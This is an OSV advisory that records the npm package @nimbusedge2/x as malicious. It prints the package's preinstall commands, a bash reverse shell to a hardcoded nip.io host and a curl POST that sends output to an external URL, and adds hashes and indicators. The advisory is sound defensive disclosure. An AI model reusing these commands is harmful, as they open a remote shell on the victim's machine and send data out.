MAL-2026-16305

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@nimbusedge2/x/MAL-2026-16305.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-16305
Published
2026-09-21T03:00:25Z
Modified
2026-09-21T03:30:16Z
Summary
Malicious code in @nimbusedge2/x (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (45d678f278cdb8171d7ac41ffa9f50b57ccb508dfa5a64bec6430efa17b2662e)

package.json declares a preinstall lifecycle script that runs automatically on npm install. The script invokes bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a hardcoded IP-based host (147.93.157.202 via nip.io) on port 8080, and pipes activity through curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, an install-time cleartext-HTTP beacon to an external endpoint. The reverse shell grants the remote endpoint interactive command execution on the installer's host at install time; the paired POST exfiltrates output to a hardcoded external URL. No legitimate functionality is shipped alongside these actions.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-020197",
            "import_time": "2026-09-21T03:24:20.527792917Z",
            "modified_time": "2026-09-21T03:00:25Z",
            "sha256": "45d678f278cdb8171d7ac41ffa9f50b57ccb508dfa5a64bec6430efa17b2662e",
            "source": "amazon-inspector",
            "versions": [
                "1.1.1"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @nimbusedge2/x

Package

Name
@nimbusedge2/x
View open source insights on deps.dev
Purl
pkg:npm/%40nimbusedge2/x

Affected ranges

Affected versions

1.*
1.1.1

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "2804ffae1578f16c2b9826ac083e04f98a2d016633ce9d8fa4cbb6f8667ba736",
            "tlsh": "6de0c0301510a83b38c94b95756243653674771f4ce05c0c95c3024a2b1d9d93817a48"
        }
    ],
    "package_integrity": [
        {
            "filename": "x-1.1.1.tgz",
            "hashes": {
                "sha1": "874a2c7c318378deda6c097f6fcc6cec2074a548",
                "sha512_sri": "sha512-YRhpsOoynWuUvZeeMp0s7sGzJr3envInnK+O6etamARnW/iSRPUH8shvJ5n8j9uNI8m8HgLvPtN8kikSyzbIJQ=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@nimbusedge2/x/MAL-2026-16305.json"